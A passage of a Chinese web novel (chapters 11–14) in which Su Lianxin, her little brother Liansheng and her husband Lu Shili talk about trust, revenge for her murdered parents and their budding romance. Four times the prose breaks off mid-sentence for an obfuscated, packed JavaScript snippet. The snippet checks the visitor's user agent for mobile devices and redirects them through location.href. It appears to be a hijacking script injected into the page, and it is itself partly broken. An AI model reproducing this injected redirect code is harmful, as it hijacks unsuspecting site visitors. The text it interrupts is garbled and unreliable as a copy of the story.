投入到姐姐怀抱的莲生更是喜不自胜，为了不让人担心，特意在说到“两大碗”时拔高声调，说完后大眼睛一眨一眨，好像在等着夸奖似的。 “不听他们胡说”，看着弟弟这副小大人的模样，莲心强压涌起的酸涩，又摸了摸他柔软的发顶，“你现在正是长身体的年纪，多吃点才能长大个，以后才能像爹那样做大英雄呢！” 对这两姐弟而言，父母既是最信赖的亲人，也是最自豪的偶像。 从前在家时，当玩伴们听着说书先生讲三国里吕布怎么勇冠三军，从津津有味到心向往之时，两姐弟只是回以轻蔑的叹息，像小大人般齐齐摇了摇头。 其他孩子自然心生不满，说他们是只知道父母的土包子，唯有散场时，说书先生会投来几分欣慰的目光，掏出得来的赏钱给他们买上两个糖人。 印象最深的一次，是位从清河远道而来福州的老说书人，因他舍了备受崇拜的吕布没讲，反而去说鲜为人知的荀彧，整场下来只有苏家这两姐弟听了下来。 没有人听自然也就没有赏钱，但这位鹤发白须的老人家面上没有丝毫郁色，反而大方地接过年仅十岁的小莲心递来的糖人咬了一口，笑眯眯的问她为什么带着弟弟听得入神。 大曜太宗是农民起家，一路历经了数次血战，才建立了王朝，只可惜父辈有功但子孙无能，自建朝十年后太宗驾崩起，便一直在走下坡路。 期间不是没有英主，但也不过就是昙花一现，不是命太短就是心太散，归根结底也都拦不住大厦将倾之势。 那时候莲心是怎么回答的呢？ “阿爹自小教导，生而为人当无愧天地，不负本心。吕布固然勇武但为人却心智不坚，三姓家奴足以见得其眼中只有利益，并无忠义二字。而荀彧一生秉持家国大义，用一死言明世人，他所效忠的并非曹孟德一人，而是心中国泰民安的信仰。” 她这番话说完，只见那位老先生苍老而清明的双目兀地一亮，仿佛面前的不是两个稚童，而是人心思乱的末世里罕见的点点星火。 因着年幼，莲心并没把他那句“少年英才，国之希望”放在心里，但时过境迁，如今经历此后种种才恍然发现，这背后有多少人生末路的无奈，就有多少对新生力量的殷切期待。 虽然半点都不精通读心术，但莲心知道，怀里微微发颤的幼弟肯定也想到了这件事，心下顿时涌过一股暖流。 或许，那位老先生渴求的，便是这种代代相传的信仰，以及父母为之付出一生的忠义吧！ 好半天，才听到怀里的小孩用力吸了吸鼻子，闷闷地回了句，言语朴实无华却又饱含力量。 “我往后一定多多吃饭，在学堂加倍努力读书习武。争取早日成为像爹爹那样的大英雄，除掉那些为非作歹的恶人。不仅要保护百姓，还要把赚的钱都给你，让你往后再也不用这么辛苦！” 男孩声音清脆通亮，这番话下来莫说莲心，饶是一旁抱着臂静静等候的陆时礼，都舒展了眉目，哑然失笑。 “有这份心就好”，看着眼前幼弟一丝不苟宛若立誓的神情，莲心倍感欣慰，伸手揉了揉那已显轮廓的小脸，“往后赚了钱给你媳妇花，姐姐可不用你养。” 她原本以为自家弟弟年岁小，听不懂这些话，只当是逗逗他。 没成想还小瞧了莲生，只见他眨巴了两下大眼睛，若有所思地点了点头，随即懵懵懂懂地笑了起来，看了眼莲心，又笑着望向了屋门口。 “哦，我知道了——我赚钱给我未来的媳妇花，那姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156365|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要管的钱，自然就是姐夫的啦！” 虽说仓促成了婚，但莲心那时只知是给久病不愈的大公子冲喜，将他当作需要照顾并送终的病人。 就算后来知道了他装病的原委，面对这样一个健康的陌生男子，莲心也只是将他当作可以短暂相处的盟友，不想也不能生出什么别的心思。 “臭孩子，举一反三是这么用的吗？还敢拿你姐姐开涮”，莲心佯装怒意地朝弟弟隔空挥了挥拳头，“老虎不发威，你当我是病猫不成？” 毕竟是从小闹到大的亲姐弟，莲生对她也是相当了解，看出了那双眼睛里确确实实隐藏了两分薄怒，立刻撒开了腿，小鸡仔似的躲到了陆时礼的身后。 “姐夫救我！” 被紧紧搂住后腰的陆时礼更是哭笑不得，一面是刚培养出感情的小舅子，一面是正在努力争取的新媳妇，两相思索后，确定谁都不能得罪。 莲生这么一喊，莲心才后知后觉到陆时礼的存在，回想刚才那番话，更觉心跳如鼓，面上也“腾”的一下烧了起来。 眼瞅着莲心一张素白的鹅蛋脸霎时间变得通红，陆时礼虽面上不显，但心里也暗自乐开了花。 还好，知道害羞，那就说明他这张脸还没白长，这两天的努力也没白费。 果然比起一鼓作气，还是小火慢炖更适合培养感情，虽然成功了一小步，但往后还需要再接再厉，不能松懈。 想到这，陆时礼唇畔又溢出几分笑意，引着身后的莲生向前两步，伸出修长的手指轻轻拉住了莲心藏着短剑的衣袖，在她愣神间抽出剑柄，在掌心掂了掂。 “嗯，约莫二两出头，勉强还算轻便”，在莲心错愕的目光中，陆时礼扬了扬眉，“怎么，还真以为你相公是个肩不能提的书呆子？” 莲心明显看到，自家弟弟对陆时礼这番动作见怪不怪，显然之前便目睹过，而且从亲近程度来看，他俩私下肯定见过不止这一次。 “咱俩才认识不足五日，不过是暂居同一屋檐下的异路人，我上哪能知道你藏了多少拙啊？” 莲心没说的是，你心眼子那么多，整日就知道隐藏自己观察别人，我就是好奇也不敢问啊！谁知道哪句话中了你的陷阱，就糊里糊涂把自己老底都给卖了。 但陆嘉文是谁啊？那可是大曜八十六年状元郎之位的不二人选。 不仅文韬武略样样精通，更是在策论方面有着鞭辟入里的独到见解，若论洞察人心，恐怕满江州找不到第二个对手。 莲心那点小心思虽然没明晃晃写在脸上，却也几乎差不离了，听出语气中那点强自压下的恼怒，陆时礼竟隐隐有些不厚道的暗喜。 至少比起漠不关心，莲心对他还是有点好奇的嘛，这样就好。 往后时日还长，他陆嘉文别的不说，对自己的这点信心还是有的。 思及此，陆时礼携上一抹轻快的笑，握着剑，朝心仪的小姑娘拱了拱手，声音中满是对未来的期待和畅想。 “那好说，只要娘子愿意，为夫肯定倾囊相告，毫不保留！” 12. 倚仗 丝丝缕缕的情丝，在十六岁的莲心身上，第一次有了萌动的迹象。 从前在福州时，不是没有才貌双全的适龄男子，可任凭外表有多出众，谈吐有多得体，莲心的心里始终都是淡淡的，并没有什么怦然心动的感觉。 而每当苏母私下里询问她原因时，莲心又思索再三，懵懵懂懂的，总也说不出个所以然来。 可就在陆时礼轻柔地揭下她的盖头，面带笑意望过来的时候，饶是那时他因为思及故人而惊慌失措，莲心还是指尖一颤，破天荒乱了瞬间的心神。 或许从那时起，她便隐隐有了预感，这个曾经名满江州，现在又隐忍装病的冲喜夫君，并不像所表现的那么简单，埋藏的秘密兴许不会比她更少。 可感情就是这样，明知他兴许是为了自己那张与堂姐相似的脸而心生亲近，种种所为或许只是为了少时的那点纯真回忆，但她就是食髓知味，迟迟不愿脱身而出。 母亲的殷殷教诲，亲眼所见街坊的不睦婚姻，以及很可能并未死在七年前，而与倭寇勾结为了寻物几乎屠杀自家满门的堂姐莲见，都在与那些跃跃欲试的情丝彼此拉扯。 无论是手持银枪在血泊中宁死不跪的父母，还是身首异处无法合眼的昔日街坊，都是压在莲心肩上的一块石。 家乡遇难，国家将倾，于情于理，莲心都没有为私情所困的理由。 凭心而论，陆时礼的样貌和才情，一颦一笑间，几乎足以让每一个与他朝夕相伴的少女心生爱慕。 光是一个挑眉便尽显少年意气，更何况含情一笑呢？ 借着莲生沐浴的契机，莲心谢绝了陆时礼的帮忙，独自一人提着桶，走到了院子后的空地上架起火来烧水。 清脆的“噼里啪啦”声中，莲心一边托着腮，一边凝视着越烧越旺的柴火，思考该怎样不动声色地和陆时礼保持距离。 “阿姐，快点熄火，你想把水烧开烫死我啊！” 身后突然传来一声焦急的呐喊，原来莲生在棚里听到水沸腾的“咕噜”声，便急忙赤着脚跑来查看，果然见到桶里的水已经快要冒泡。 被他这么一唤，莲心这才回过神来，两人赶紧手忙脚乱地舀了瓢水过去灭火，幸好火燃得不算太旺，几下的功夫就灭了下来。 莲心伸出手指往盆里探了探，还好，只比平常热了一点，晾两分钟便刚刚好，这才松了口气。 “阿姐你怎么魂不守舍的？” 旁边的莲生并不急着沐浴，反而有些担忧地守在姐姐面前，大眼睛一眨一眨，学着长辈的样子踮起脚探了下姐姐的额头，“奇怪，也不发热啊？” 饶是有万千愁思，莲心仍是被自家弟弟这副小样给逗乐了，用指尖不轻不重点了他脑门儿一下。 “我家小莲生真的长大了，都知道照顾姐姐了？” 不过还是天真得紧，魂不守舍可不一定是发热。 况且比起身体上的病痛，于莲心而言，折磨人的程度及不上心中创伤的万分之一。 “那我还嫌长得不够快呢”，被她这么一夸，莲生也微微红了脸，突然想到什么，原本有些沉闷的语气霎时又变得轻快起来。 “不过现如今有了姐夫，我也就不那么着急长大了，姐夫那么厉害，肯定能保护我们的！” 说这句话时他可以拔高了几度声调，这下不仅是莲心，连坐在前院喝茶的陆时礼都听了个一清二楚。 得到了小舅子如此高的肯定和信赖后，陆时礼自然神清气爽，连喝了三杯雨后龙井都没能压住笑意，连唇角都要笑烂了。 不过半院之隔的莲心可就没他这么好的心情了，说不上气恼，但肯定是半点都笑不出来的。 曾几何时，她也是这样天真烂漫，幻想的是日后做画本子里那种惩奸初恶的游侠，眼里只有好人坏人。 可现实的残酷就在于，好人和坏人并非如此泾渭分明，一念之间，行差踏错的大好人也会成为曾经最为厌恶的恶人，而无恶不作的大坏蛋也未尝没做过一件好事。 君子论迹不论心，人的好坏也并非一成不变。 从她在莲花池底，隔着蔓延的血水看见莲见那张面庞时，联想起事发半月前晚归在巷口看见她递给母亲的那袋藕粉，莲心就不得不多想一点。 连周伯都不知道，倭寇不惜屠城要找的是什么，更别提那东西到底是什么，当时在不在苏家。 所以当他猜测是藏在镖中的货物时，莲心沉默不语，猜测就是猜测，在没有找到有力的证据之前，她私心还是愿意相信与堂姐无关。 即使那件东西就藏在藕粉之内，那还有一点说不通，就是莲见为什么要把东西交给苏母，还在屠城后以贵宾的待遇出现在了现场。 但不论如何，这些都给莲心的心里埋了颗名为猜忌的种子。 自那以后，她不再相信非黑即白的人性，更不敢随意信赖任何人，哪怕对方已经敞开了最柔软的胸膛，她也无法放下完全芥蒂。 所以陆时礼的那句“毫无保留”，才会在她心里激起如此大的涟漪，以至于乱了心神，只想着要仓皇逃离。 可即便到了这一步，看着莲生那张稚气未脱的小脸，莲心当时终究还是心生不忍，没有直接对他讲明现实残酷的道理。 他年纪还小，早早堪破幻想也许不是好事，但听着他方才所说的话，莲心觉得，自己有必要委婉地说上两句了。 “阿姐下面要说的话，可能会有点晦涩难懂，也许还会和你一贯的想法相悖，但却是阿姐这些时日悟出来的道理，希望你能认真听，争取牢牢记在心里。” 许是预感到了什么，小莲生握紧双拳，郑重地点了点头。 “那你可听好了啊，阿姐开始说了”，莲心欣慰地摸了摸弟弟的小脸，深吸口气，慢慢开了口。 “有的时候人的好坏是不能一概而论的，而是会随着内心的想法不断变化的。” 看见弟弟一脸懵懂的神情，莲心微微一笑，举了个例子进行说明。 “就比如你阿姐我，因为你是我弟弟所以会对你好，想要把一切好的东西都给你。但是面对外人的时候，我会因为彼此素不相识，非但不会让他占到丝毫便宜，反而会想尽办法从他那里争取更多利益到自己手上。” 这个例子说完，果然见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156366|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到莲生皱起的眉头送了一松，他沉吟着开口问道。 “阿姐的意思是，你与我而言是好人，可在彼此竞争的外人眼里，你就成了会为了利益而不惜代价的坏人？” “对”，莲心欣喜地点了点头，抬手摸了把弟弟的小脸，“我弟弟就是聪明，这点道理一点就透！” “那是自然，也不看看咱爹娘是谁！” 得到姐姐夸奖的莲生自是喜出望外，然而他琢磨片刻后又觉出几分不对，又拉着姐姐的衣袖问。 “可你说的这件事，跟我说姐夫值得依靠有什么关系吗？咱们是一家人，他对我们应当像你对我一样，属于好的这一类吧？” 问完他又觉得不好，忙继续补了一句。 “这段时间姐夫常常会在下学后带好吃的去看我，他懂得多脾气又好，人长的更是像天上的仙人一样，同学们都羡慕我有这么个姐夫。” 莲心正欣慰他的轻易接受，没想到自家这个弟弟果然“不负期望”，绕了半天在这等着呢。 果然啊，该来的总会来的，逃避也是行不通的！ “我没说他人不好，更不是指他是坏人”，莲心无奈地摇了摇头，“虽然相处时间不长，但我和你一样，也觉得他是个极好的人。” “那你为什么不想依靠他”，莲生更加不解，“娘不是都说丈夫是女子一辈子的仰仗，大事小事也都完全信赖爹的决定吗？” 苏母确实说过这话，除此以外，还时常叮嘱莲心要板板性子，说要不往后许了人家，没有婆母还好，若有的话定是会吃苦头的。 但那是的莲心一心只顾着玩，练武也是半点没有落下，每次也都是一听而过，说着那我就找娘来撑腰，然后就将脸颊贴在母亲的手臂上蹭着撒娇，换来苏母的一声轻嗔。 如今想到这些，顿觉沧海桑田，心中无限怅惘。 但不知为何，她隐隐觉得。 “不应当这样”，莲心深吸一口气，目光中满是坚定，“夫妻之间可以彼此依靠，但女子并非全都需要仰仗丈夫。” 顿了顿，看着弟弟错愕的神情，她又继续开口。 “也许这条路会辛苦一些，但我现在无法全身心相信任何人，无论种种，我只信我自己。” “阿姐”，莲生被这句话说得一震，看向姐姐的眼中不无担忧，“你这又是何苦，我能看出姐夫很喜欢你，为什么不去试试呢？” 是啊，连她都说不清她这是何苦。 或许陆时礼当真是可以托付终身的人，以他的才学明年科举必然得中，届时若向他言明一切，自己的路上也会多一个依靠，至少不用再这样自苦。 可是，她不敢赌，不敢赌陆时礼的心，也无法接受失败的后果。 整个苏家只剩下她和莲生两个血脉，倘若连他们都不在人世，血海深仇该如何，济世救民又该如何？ 最终，莲心还是摇了摇头，“这条路我行不通，但姐姐真心希望你可以走上一走。” 然而身后却突然传来男子低沉的嗓音，隐隐夹杂着几分薄怒。 “我就这么让你没信心，还没试怎么就知道不行？” 13. 观心 是对他没有信心吗？ 与其那么说，还不如说莲心是对自己缺乏信心。 国仇家恨在前，她没有把握做好平衡，独自在夜路徘徊太苦，这才几天的功夫，她就已经有些依恋于家中那盏为她而留的烛火。 她不敢赌，怕自己沉迷其中，耽误了复仇之事；更怕万一选错了人，日后成了怨偶，悔恨一生。 所以就当作暂时相处的战友吧，一曲终了便相视陌路，他隐忍待发走他的青云梯，她守护弟弟行她的血腥路。 遥遥相望，便已足矣。 “我没有不相信你”，那双眼中的情绪太过灼热，莲心微微垂下了头，“正因为你很好，我才更要离开。” 见自家姐姐斩钉截铁地这么说，莲生更加着急，赶忙扯了扯姐姐的衣袖，冲陆时礼解释，“姐夫你别生气，我姐姐从前不这样的，就是爹娘突然……” “我没生气”，陆时礼摇头打断了莲生的话，一张俊脸上不见怒气，但同样也没有表情，只是用沉沉的目光望着莲心，“让你姐姐把话说完。” 小莲生抿了抿嘴，慢慢垂下了头，片刻后，才听到姐姐缓慢而平静的声音。 “实话告诉你，我来江州不仅是为了依凭旧交给莲生寻个容身之所，更重要的是想查清我爹娘身亡的真相。” 深吸了口气，她又凝视着鞋尖磨得灰白的芙蕖，继续说道，“从现有的证据看，那帮倭寇不惜屠戮大半个福州城，是为了找一件东西，而这背后，也离不开隐在大曜的内贼作祟。” 说完这一切，莲心顿时感觉胸口一空，积压数日的那点愧疚不安都随着话语的说出，而慢慢消散开来。 她这才慢慢抬头，于一片梨花细雨中，对上了那双灿若繁星的黑眸，勾起唇来轻松一笑。 就这样吧，须臾般家的温暖，在她踏过尸山血海的那一刻起，便已经无从渴求，不可留恋。 不过陆时礼，与你相识并能在日后同走一小段路，已是我苏莲心的荣幸，无论未来如何，一起吃过的美食，于清夜诉说的心事，都会成为人生中宝贵的记忆。 短暂的等待被无限拉长，周遭如同静止般安静，仿佛过了良久，又好似只经过刹那。 终于，在一朵白中透粉的梨花飞扬而下，恰好飘在对视的两人眼前时，陆时礼慢慢开了口，并抬手轻轻拢住了那朵花瓣。 “我知道，你的血海深仇，你的家国大义，我全都知晓，也感同身受。” “所以苏莲心，我想请你说清楚”，他在空中摊开手掌，夏日傍晚细碎的落日撒了下来，给那朵罕见的梨花镀上一层朦胧的金边。 眉目如画的青年就那样沐浴着残阳，绯红的衣摆随风摇曳，但那双饱含情谊的桃花眼就这样一瞬不瞬地凝视着她，好似天地之间唯有他们两人。 就这样看了片刻，他才缓缓开口问道。 “如果我说自己不会成为你复仇之路上的阻碍，反而会成为你手中最锋刃的利器。你可不可以给我一个机会，也给自己一个机会？” 莲心的呼吸猝然一滞，同时，她有了一种感觉，那层严防死守的坚硬外壳又裂开了个细小的裂缝，不再那么密不透风。 “阿姐”，小莲生被这番话说得红了眼眶，见自家姐姐仍没有反应，忙试探着扯了扯她的衣袖，小声地唤了一声。 “不着急，毕竟是人生大事，让你姐姐慢慢想。” 陆时礼笑着朝莲生招了招手，拎起桶里温度正好的水，“趁着水温正好，走，姐夫带你沐浴去，正好让你见识见识姐夫搓澡的手艺！” “搓澡？”小莲生好奇地仰起头，“那是什么呀，我从来都没有听说过。” “这你就不知道了吧”，陆时礼一面紧紧拉着他细弱的小手，一面笑着眨了眨眼，“搓澡就是把身上泥垢给搓下去，让整个人更加干净。” 莲生顿时来了兴趣，但同时又有点打退堂鼓，小心翼翼地问，“那会不会很疼啊？” “用毛巾搓背，不会疼的”，陆时礼哑然失笑，想了想又补充一句。 “看在你第一次搓澡的份上，姐夫不会很大力。放心吧，保准每天学堂上的小伙伴都会说你香喷喷呢！” “好，谢谢姐夫！”得到了这句承诺，小莲生这才放下了心，跟在陆时礼后面，蹦蹦跳跳地进了浴房。 片刻后，不远处小木房里传来了哗哗的水声，其中夹杂的，还有几声男子低低的嗔怪，以及孩童稚嫩的欢笑。 梨树下的莲心托着腮，看着时不时纷扬而下的朵朵白花，指尖捻过那朵还残存着男子炽热温度的浅粉色花瓣。 良久，摇了摇头，浅笑出声。 阴暗的浴房里，小莲生掬着一捧水，凑到陆时礼耳畔小声问道，“姐夫你听，是不是姐姐在笑？” 虽然年纪小，但自幼习武的小莲生耳力超群，任何细微的风吹草动都逃不过他的耳朵，更别提莲心不加掩饰的清脆笑声了。 可这点声音，陆时礼想要听到可就比登天还要难了，但饶是这样，他仍点了点头，肯定了莲生的猜测。 这可把小莲生惊的不行，他没想到自己这个看着文文弱弱的姐夫，竟有着能跟自己媲美的好耳力，忙转过身看了过去，“姐夫你也能够听见？” 这臭孩子，原来在这等他呢。 “姐夫可没你那么好的耳力”，看着他错愕的样子，陆时礼笑着抬手摸了摸他毛绒绒的发顶，“但有些事情，即使眼未见耳未听，靠心也是可以寻见的。” “啊？”小莲生十分不解，“心不是藏在身体里，怎么去看去听啊？” “这个嘛……”，陆时礼没有直接回答，而是将握着毛巾的“魔爪”伸向了他单薄的后背，“你乖乖让姐夫搓完，自然就知道了。” 小莲生捂着脸认命地叹了口气，无奈地转过了身，垂下头“嗷”了一声，接受了这个条件。 听着澡房里鬼哭狼嚎的喊叫，莲心也笑着摇了摇头，实在难以想象陆时礼这么个看起来俊逸出尘的人，在澡堂子里给弟弟搓背的模样。 不论如何，举止肯定还是洒脱有度的，至于神情吗？ 也许是含着浅浅的笑，又或者带着几分隐隐的无奈，抑或二者皆有。 想到这，她赶忙又摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156367|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头，将那点越想越没边的念头甩了出去，站起来拍了拍裙摆上的花瓣，慢慢踱步回了主屋。 虽然今天回来的比较早，可陆时礼带回来的吃食不仅没少，反而比前两日的样式更多。 除了备受好评的绿茶饼和芝麻酥以外，纸包里还有三个将化未化的糖人，显然昨日夜话时莲心无意提到的童年琐事，被陆时礼默默记在了心里。 将点心规整的摆在盘中，莲心又用烧开的水沏了一壶雨后龙井，在丝丝缕缕上升的青烟中，才又无声地露出了抹甜甜的笑。 没想到这场无人祝福的冲喜婚姻，竟让她有了种久违的归属感，自父母离世后，她还是第一次从陆时礼身上体会到这种被关心的感觉。 看着那朵被小心放在盒内的粉白花瓣，莲心长舒了一口气。 陆嘉文，我愿意给自己和你一个机会，不过不要你做我手里的剑，我想和你做可以性命相托的伴侣，无论何时何地，都可以把后背放心的交给彼此。 另一边的浴房内，终于咬牙熬到搓完背的小莲生也松了口气，几乎是瞬间就将头又扭了过去，眨着大眼睛问陆时礼。 “姐夫你快说，怎么用心去看去听啊？” “好好好”，陆时礼禁不住他的软磨硬泡，只好一边就着水洗毛巾，一边语带宠溺的开了口。 “佛家有句话叫‘眼见喜，耳听怒’，这就是说有的时候眼睛看见好的东西就会诱发贪念，耳朵听见流言蜚语便会引发怒火。” “所以圣人们才会强调用心感受，这样可以透过现象看本质”，见小莲生一副似懂非懂的表情，陆时礼哑然失笑，捏了捏他的脸颊，补充道。 “觉着晦涩是正常的，我像你这么大时候还只顾着傻玩，天天带着身泥巴被我娘责怪呢！” 一听这话，小莲生顿时来了兴趣，眼前一亮，追问起来，“那后来你怎么这么厉害了呀？我也想快点变成你这样，成为阿姐的助力！” 后来，唯一把他挂在心上的娘猝然离世，爹又忙着外出治理水患，留他一人在虎狼环伺的府里。 或许从一定程度上来说，他还要感谢继母杜氏一族，若没有他们步步将他往死路上逼，他绝不会在十二岁那年突然醒悟，成为如今这个样子。 与他相比，眼前的小莲生无疑是幸运的，至少还有个真心待他的姐姐，愿意守在身边陪伴长大。 “因为姐夫突然明白了，除了靠自己一步步往上爬，没有别的出路。” 他凝望着莲生的眼睛，一字一顿地说道，“但我们小莲生不一样，不仅有个全心全意对你的姐姐，现在还有了我这个姐夫。所以顺其自然就好，不需要急着长大。” 对于这个弟弟，他总是有着莫名的亲近，不单纯因为他是莲心的弟弟。 也许是想起了自己八岁时同样丧母的经历，也许是感惜男孩心中仍保有的宝贵天真。 陆时礼在心中告诉自己，一定要努力呵护他长大。 不仅是为了莲心，还有自己心里的那份遗憾。 既然八岁那年没人拉自己一把，那这个八岁的男孩，一定不能再淋雨。 14. 糖人 “好香，哇，这么多好吃的啊！” 莲生正绑着半干的头发，刚到门口，就被屋内飘散的茶香和点心香气给迷了个够呛，蹦蹦跳跳直接往桌前扑来。 “慢着点吃，又没人跟你抢”，见弟弟拿起一块芝麻酥就大口小口吃了起来，莲心无奈地拍了拍他的背，给他倒了一杯茶，“别噎到，喝口茶再吃。” 正是爱吃的年纪，小莲生哪里听得进去，这边的芝麻酥还没吃完，就又兴高采烈地拿起了一根糖人，“姐，你看是孙悟空！” “吃一块垫垫肚子就得了啊”，莲心伸出手指，不轻不重地弹了下他的脑门，“你姐夫还没来，东吃西吃的显得咱没教养。” 听姐姐这么一说，小莲生赶忙将糖人放回原处，小脸上泛起不好意思的赤红，剩下的半块点心就这么握在手里，吃也不是不吃也不是。 莲心忍俊不禁，正想摸摸弟弟的头让他继续吃完，便听到门口传来了男子含笑的嗓音。 “小孩子东跑西颠难免饿得快，想吃什么便吃吧，都是一家人，没那么多讲究。” “谢谢姐夫”，小莲生如释重负松了口气，笑着跑到门边去拉陆时礼的手，“莲生从前不这样的，今天就是太馋了，往后肯定会等你和姐姐一起吃的！” 小男孩瞪着双水汪汪的大眼睛，分明心里仍有着忐忑，但还是抿着唇故作镇定，活像个受了惊的小鹿。 眼中几分澄澈几分坚毅，简直跟他姐姐一个模子刻出来的，陆时礼心里这样想。 “好”，这么想着，陆时礼声音又柔了几分，正了正小莲生那蓬松的发髻，“那姐夫便答应你，每个周末都接你来这里，一家人热热闹闹吃顿饭。” “这……”，小莲生没有直接回答，而是回身探寻地看着姐姐，一路跋涉早已见过世态炎凉，年纪小如他也知晓，不可随意给人添麻烦。 莲生的这点小心思怎能逃了陆时礼的眼，还未待莲心开口，他便轻敲了下男孩的后脑勺，语中略带嗔怪。 “既然你叫我一声姐夫，便不能只停留在口头上。从今往后我也会像对亲弟弟一样对你，虽然不敢说跟你姐姐做的一样好，但绝不会将你视作麻烦。” 此言一出，莲生顿时红了双眼，清盈盈的泪珠就这样挂在眼角，扑在陆时礼的怀里，哽咽着重复“谢谢姐夫”。 陆时礼一边轻拍着男孩单薄的背，一边抬眼望向沉默不语的莲心。 果然看见他刚过门的小媳妇也同样红着眼眶，撑在下颌的指尖微不可察觉地抹去了细碎的泪珠。 心尖忽地一颤，不知为何，他就见不得莲心哭，于是赶忙拉着莲生的手，走到摆满吃食的桌案前。 “呀，这个糖人是谁呀？”陆时礼指着其中的一个糖人，状似惊诧地问道。 经他这么一问，偷偷抹着眼泪的姐弟才回过神来，都齐齐往桌上瞧。 江州不愧为百年水乡，连吹的糖人都比福州那边精致许多，不仅更为纤细小巧，而且更加多样，面部表情也都活灵活现。 顺着陆时礼的指尖，只见那糖人头戴纶巾，身披鹤氅，面若冠玉，清弱文雅，眼角眉间还带着几分淡淡的愁思。 “荀彧！” 几乎同时，姐弟俩便一齐开口惊呼起来，那点泪意也随着突如其来的惊喜，而被抛诸脑后。 抛开别的不谈，这姐弟俩还真是像，连偶尔那点没心没肺的劲，都极为同步。 哭也哭了，笑也笑过，三人便各执一角围坐在桌前，拿起点心吃了起来。 小莲生吃得最快却也坐不住，听见院外的墙上传来“喵”的一声，得到莲心点头后，便捡了块点心，蹦蹦跳跳地跑出喂猫去了。 他一出去，屋里也就剩下了莲心和陆时礼两个人。 抿了口手边的清茶，陆时礼也不急着开口，借着烛火，细数手中被吹成“孙悟空”的糖人之上的纹路。 突然，对面传来极轻极低的一句。 “今天谢谢你，这一个多月来莲生头一次笑得这么开心，我真的很感激你肯花这些心思。” 几乎没有犹豫，陆时礼福至心灵，直直望向对面那双眼睛，“只要你觉着好，我愿意为你花一辈子心思。” 烛火摇曳，俊逸出尘的青年卸去病妆，灿若星辰的眸子一瞬不瞬地望过来，仿佛坠入人间的仙子，莲心被这样专注的看着，莫名间生出几分负罪感。 就好像她是蛊惑凡心的少女，引诱了误入凡尘的清冷仙人。 “你我相识才不过数日”，莲心深吸了一口气，回望过去的眼中流露几分不解，“为何认准了我，要对我这么好？” 换做半年前她绝不会有此问，可这段时日世态炎凉见过太过，面对突如其来的友善，她总会想要问个原因。 仿佛这种明码标价的以物易物，才多了分保障，接受起来也更加轻松。 陆时礼猜到了她的心思，少女刀尖舔血，对任何人都多分警惕并不是坏事，往后时日还长，不着急，他慢慢来。 “说实话，起初的确是因着你同莲见几分相似的容貌，觉得格外亲切。” 莲心秀眉微挑，心道果然还是看脸，她一开始也没算冤枉他。 这番小表情自然也没逃过陆时礼的眼，但他反而也扬唇一笑，语带几分无奈。 “开始我以为就像与莲见只是姐弟之情一样，等察觉倒对你心意的不同，是在首次夜话之后。” 哦，莲心想起来了，那是新婚第二夜他俩都睡不着，缩在被子里回忆往昔，不过她那时迷迷糊糊，现在根本记不起来具体说了什么。 不过，这喜欢的也有点太快了吧？ “我可没你那么迷糊，连你说话的神情现在都记得一清二楚。” 莲心甚至觉得，这人要么就是偷偷学了读心术，要么就是个卜卦的隐藏高手，要不怎么像她肚子里的蛔虫一样，还没等说就全都猜到了。 “从前我不相信一见钟情，但遇到你之后，我相信了。”没有理会莲心略带玩味的眼神，陆时礼深吸口气，一字一顿地说道。 片刻后，莲心才从如鼓的心跳中缓过神来，笑着朝陆时礼伸出一只手，眼中尽是坚定。 “我也是第一次做妻子，很多事情都没有学过，往后咱俩商量着来，做的不好的还望你能多多担待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156368|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “好说，我也是第一次做丈夫，有什么不周到之处，还请娘子莫要嫌弃。” “那是自然”，见他煞有介事地拱手一揖，莲心无奈地瞥他一眼，虽然嘴上说着“没个正形”，但心中还是被丝丝缕缕的甜意包裹。 笑闹了一阵后，莲心又换上了认真的神情，迎着陆时礼专注的目光开了口。 “不管日后如何，只有一点，那就是我们之间彼此信任互相扶持，没有什么不可言说的言说的秘密。” 